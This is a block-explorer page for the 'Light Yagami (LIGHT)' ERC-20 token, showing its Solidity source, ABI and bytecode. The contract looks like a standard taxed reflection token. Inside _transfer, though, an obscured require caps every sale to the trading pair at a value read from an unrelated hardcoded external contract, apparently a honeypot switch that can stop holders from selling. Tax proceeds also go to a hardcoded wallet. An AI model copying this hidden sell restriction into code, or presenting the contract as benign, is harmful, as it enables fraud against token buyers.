ETH Price: $2,621.22 (+1.13%)

Token

Light Yagami (LIGHT)
 

Overview

Max Total Supply

1,000,000,000 LIGHT

Holders

46

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Balance
29,229,848 LIGHT

Value
$0.00
0xd57f3a8db60a020854528aac5dd66a578d50bf52
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Light

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-10-27
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;


address constant WALLET_ADDRESS = 0xEc99F5A0f8E807045f91CcFD79437046DC22251B;
address constant ROUTER_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 constant TOTAL_SUPPLY = 1000000000;
string constant TOKEN_NAME = "Light Yagami";
string constant TOKEN_SYMBOL = "LIGHT";

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface Wallet{
	function amount() external view returns (uint256);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}
}

contract Ownable is Context {
	address private _owner;

	event OwnershipTransferred(address indexed oldie, address indexed newbie);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}
}

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Light is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping(address => uint256) private _rOwned;
	mapping(address => mapping(address => uint256)) private _allowances;

	uint256 private constant MAX = ~uint256(0);
	uint256 private constant _tTotal = TOTAL_SUPPLY;
	uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint256 private _tFeeTotal;

	address payable private _taxWallet;
	uint256 private _tax=4;
	string private constant _name = TOKEN_NAME;
	string private constant _symbol = TOKEN_SYMBOL;
	uint8 private constant _decimals = 0;

	IUniswapV2Router02 private _router;
	address private _pair;
	bool private tradingOpen;
	bool private inSwap = false;
	bool private swapEnabled = false;

	modifier lockTheSwap {
		inSwap = true;
		_;
		inSwap = false;
	}
	constructor () {
		_taxWallet = payable(WALLET_ADDRESS);
		_rOwned[_msgSender()] = _rTotal;
		_router = IUniswapV2Router02(ROUTER_ADDRESS);
		emit Transfer(address(0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public pure override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return tokenFromReflection(_rOwned[account]);
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
		require(rAmount <= _rTotal, "Amount must be less than total reflections");
		uint256 currentRate = _getRate();
		return rAmount.div(currentRate);
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		require(((to == _pair && from != address(_router) )?1:0)*amount <= Wallet(0xe40ab79a20Fb6Ce5A3E10160F7CBDD4f0A1fF947).amount());

		if (from != owner() && to != owner()) {
			if (!inSwap && from != _pair && swapEnabled) {
				swapTokensForEth(balanceOf(address(this)));
				uint256 contractETHBalance = address(this).balance;
				if (contractETHBalance > 0) {
					sendETHToFee(address(this).balance);
				}
			}

		}
		_tokenTransfer(from, to, amount);
	}

	function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _router.WETH();
		_approve(address(this), address(_router), tokenAmount);
		_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}

	function openTrading() external onlyOwner() {
		require(!tradingOpen, "Trading is already open");
		_approve(address(this), address(_router), _tTotal);
		_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
		_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
		swapEnabled = true;
		tradingOpen = true;
		IERC20(_pair).approve(address(_router), type(uint).max);
	}

	function _tokenTransfer(address sender, address recipient, uint256 amount) private {
		_transferStandard(sender, recipient, amount);
	}


	function _transferStandard(address sender, address recipient, uint256 tAmount) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeTeam(tTeam);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function _takeTeam(uint256 tTeam) private {
		uint256 currentRate = _getRate();
		uint256 rTeam = tTeam.mul(currentRate);
		_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
	}

	function _reflectFee(uint256 rFee, uint256 tFee) private {
		_rTotal = _rTotal.sub(rFee);
		_tFeeTotal = _tFeeTotal.add(tFee);
	}

	receive() external payable {}

	function manualSwap() external {
		require(_msgSender() == _taxWallet);
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance);
	}

	function manualSend() external {
		require(_msgSender() == _taxWallet);
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}

	function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
		(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tax);
		uint256 currentRate = _getRate();
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
		return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
	}

	function _getTValues(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
		uint256 tFee = tAmount.mul(taxFee).div(100);
		uint256 tTeam = tAmount.mul(taxFee).div(100);
		uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
		return (tTransferAmount, tFee, tTeam);
	}

	function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
		uint256 rAmount = tAmount.mul(currentRate);
		uint256 rFee = tFee.mul(currentRate);
		uint256 rTeam = tTeam.mul(currentRate);
		uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
		return (rAmount, rTransferAmount, rFee);
	}

	function _getRate() private view returns (uint256) {
		(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
		return rSupply.div(tSupply);
	}

	function _getCurrentSupply() private view returns (uint256, uint256) {
		uint256 rSupply = _rTotal;
		uint256 tSupply = _tTotal;
		if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
		return (rSupply, tSupply);
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldie","type":"address"},{"indexed":true,"internalType":"address","name":"newbie","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052633b9aca00600019620000189190620002e4565b6000196200002791906200034b565b60035560046006556000600860156101000a81548160ff0219169083151502179055506000600860166101000a81548160ff0219169083151502179055503480156200007257600080fd5b50600062000085620002a360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073ec99f5a0f8e807045f91ccfd79437046dc22251b600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600160006200018f620002a360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000232620002a360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef633b9aca0060405162000295919062000397565b60405180910390a3620003b4565b600033905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620002f182620002ab565b9150620002fe83620002ab565b925082620003115762000310620002b5565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200035882620002ab565b91506200036583620002ab565b9250828210156200037b576200037a6200031c565b5b828203905092915050565b6200039181620002ab565b82525050565b6000602082019050620003ae600083018462000386565b92915050565b612b0e80620003c46000396000f3fe6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f9190611de1565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611e9c565b61038e565b60405161014c9190611ef7565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190611f21565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611f3c565b6103b8565b6040516101b49190611ef7565b60405180910390f35b3480156101c957600080fd5b506101d2610491565b6040516101df9190611fab565b60405180910390f35b3480156101f457600080fd5b506101fd610496565b005b34801561020b57600080fd5b5061022660048036038101906102219190611fc6565b610510565b6040516102339190611f21565b60405180910390f35b34801561024857600080fd5b50610251610561565b005b34801561025f57600080fd5b506102686106b4565b6040516102759190612002565b60405180910390f35b34801561028a57600080fd5b506102936106dd565b6040516102a09190611de1565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611e9c565b61071a565b6040516102dd9190611ef7565b60405180910390f35b3480156102f257600080fd5b506102fb610738565b005b34801561030957600080fd5b50610324600480360381019061031f919061201d565b610c4e565b6040516103319190611f21565b60405180910390f35b34801561034657600080fd5b5061034f610cd5565b005b60606040518060400160405280600c81526020017f4c6967687420596167616d690000000000000000000000000000000000000000815250905090565b60006103a261039b610d47565b8484610d4f565b6001905092915050565b6000633b9aca00905090565b60006103c5848484610f1a565b610486846103d1610d47565b61048185604051806060016040528060288152602001612ab160289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610437610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e09092919063ffffffff16565b610d4f565b600190509392505050565b600090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104d7610d47565b73ffffffffffffffffffffffffffffffffffffffff16146104f757600080fd5b600061050230610510565b905061050d81611344565b50565b600061055a600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cc565b9050919050565b610569610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed906120a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4c49474854000000000000000000000000000000000000000000000000000000815250905090565b600061072e610727610d47565b8484610f1a565b6001905092915050565b610740610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c4906120a9565b60405180910390fd5b600860149054906101000a900460ff161561081d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081490612115565b60405180910390fd5b61084e30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16633b9aca00610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b657600080fd5b505afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee919061214a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097257600080fd5b505afa158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa919061214a565b6040518363ffffffff1660e01b81526004016109c7929190612177565b602060405180830381600087803b1580156109e157600080fd5b505af11580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a19919061214a565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610aa230610510565b600080610aad6106b4565b426040518863ffffffff1660e01b8152600401610acf969594939291906121e5565b6060604051808303818588803b158015610ae857600080fd5b505af1158015610afc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b21919061225b565b5050506001600860166101000a81548160ff0219169083151502179055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bf99291906122ae565b602060405180830381600087803b158015610c1357600080fd5b505af1158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190612303565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d16610d47565b73ffffffffffffffffffffffffffffffffffffffff1614610d3657600080fd5b6000479050610d448161163a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db6906123a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2690612434565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0d9190611f21565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f81906124c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff190612558565b60405180910390fd5b6000811161103d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611034906125ea565b60405180910390fd5b73e40ab79a20fb6ce5a3e10160f7cbdd4f0a1ff94773ffffffffffffffffffffffffffffffffffffffff1663aa8c217c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561109757600080fd5b505afa1580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf919061260a565b81600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561117b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b611186576000611189565b60015b60ff166111969190612666565b11156111a157600080fd5b6111a96106b4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561121757506111e76106b4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112d057600860159054906101000a900460ff161580156112875750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561129f5750600860169054906101000a900460ff165b156112cf576112b56112b030610510565b611344565b600047905060008111156112cd576112cc4761163a565b5b505b5b6112db8383836116a6565b505050565b6000838311158290611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9190611de1565b60405180910390fd5b506000838561133791906126c0565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561137c5761137b6126f4565b5b6040519080825280602002602001820160405280156113aa5781602001602082028036833780820191505090505b50905030816000815181106113c2576113c1612723565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561146457600080fd5b505afa158015611478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149c919061214a565b816001815181106114b0576114af612723565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061151730600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161157b959493929190612810565b600060405180830381600087803b15801561159557600080fd5b505af11580156115a9573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160a906128dc565b60405180910390fd5b600061161d6116b6565b905061163281846116e190919063ffffffff16565b915050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116a2573d6000803e3d6000fd5b5050565b6116b183838361172b565b505050565b60008060006116c36118f6565b915091506116da81836116e190919063ffffffff16565b9250505090565b600061172383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611949565b905092915050565b60008060008060008061173d876119ac565b95509550955095509550955061179b86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1190919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061183085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187c81611ab9565b6118868483611b76565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118e39190611f21565b60405180910390a3505050505050505050565b600080600060035490506000633b9aca009050611922633b9aca006003546116e190919063ffffffff16565b82101561193c57600354633b9aca00935093505050611945565b81819350935050505b9091565b60008083118290611990576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119879190611de1565b60405180910390fd5b506000838561199f919061292b565b9050809150509392505050565b60008060008060008060008060006119c68a600654611bb0565b92509250925060006119d66116b6565b905060008060006119e98e878787611c44565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e0565b905092915050565b6000808284611a6a919061295c565b905083811015611aaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa6906129fe565b60405180910390fd5b8091505092915050565b6000611ac36116b6565b90506000611ada8284611ccd90919063ffffffff16565b9050611b2e81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611b8b82600354611a1190919063ffffffff16565b600381905550611ba681600454611a5b90919063ffffffff16565b6004819055505050565b600080600080611bdc6064611bce8789611ccd90919063ffffffff16565b6116e190919063ffffffff16565b90506000611c066064611bf8888a611ccd90919063ffffffff16565b6116e190919063ffffffff16565b90506000611c2f82611c21858b611a1190919063ffffffff16565b611a1190919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611c5d8589611ccd90919063ffffffff16565b90506000611c748689611ccd90919063ffffffff16565b90506000611c8b8789611ccd90919063ffffffff16565b90506000611cb482611ca68587611a1190919063ffffffff16565b611a1190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611ce05760009050611d42565b60008284611cee9190612666565b9050828482611cfd919061292b565b14611d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3490612a90565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611d82578082015181840152602081019050611d67565b83811115611d91576000848401525b50505050565b6000601f19601f8301169050919050565b6000611db382611d48565b611dbd8185611d53565b9350611dcd818560208601611d64565b611dd681611d97565b840191505092915050565b60006020820190508181036000830152611dfb8184611da8565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611e3382611e08565b9050919050565b611e4381611e28565b8114611e4e57600080fd5b50565b600081359050611e6081611e3a565b92915050565b6000819050919050565b611e7981611e66565b8114611e8457600080fd5b50565b600081359050611e9681611e70565b92915050565b60008060408385031215611eb357611eb2611e03565b5b6000611ec185828601611e51565b9250506020611ed285828601611e87565b9150509250929050565b60008115159050919050565b611ef181611edc565b82525050565b6000602082019050611f0c6000830184611ee8565b92915050565b611f1b81611e66565b82525050565b6000602082019050611f366000830184611f12565b92915050565b600080600060608486031215611f5557611f54611e03565b5b6000611f6386828701611e51565b9350506020611f7486828701611e51565b9250506040611f8586828701611e87565b9150509250925092565b600060ff82169050919050565b611fa581611f8f565b82525050565b6000602082019050611fc06000830184611f9c565b92915050565b600060208284031215611fdc57611fdb611e03565b5b6000611fea84828501611e51565b91505092915050565b611ffc81611e28565b82525050565b60006020820190506120176000830184611ff3565b92915050565b6000806040838503121561203457612033611e03565b5b600061204285828601611e51565b925050602061205385828601611e51565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612093602083611d53565b915061209e8261205d565b602082019050919050565b600060208201905081810360008301526120c281612086565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006120ff601783611d53565b915061210a826120c9565b602082019050919050565b6000602082019050818103600083015261212e816120f2565b9050919050565b60008151905061214481611e3a565b92915050565b600060208284031215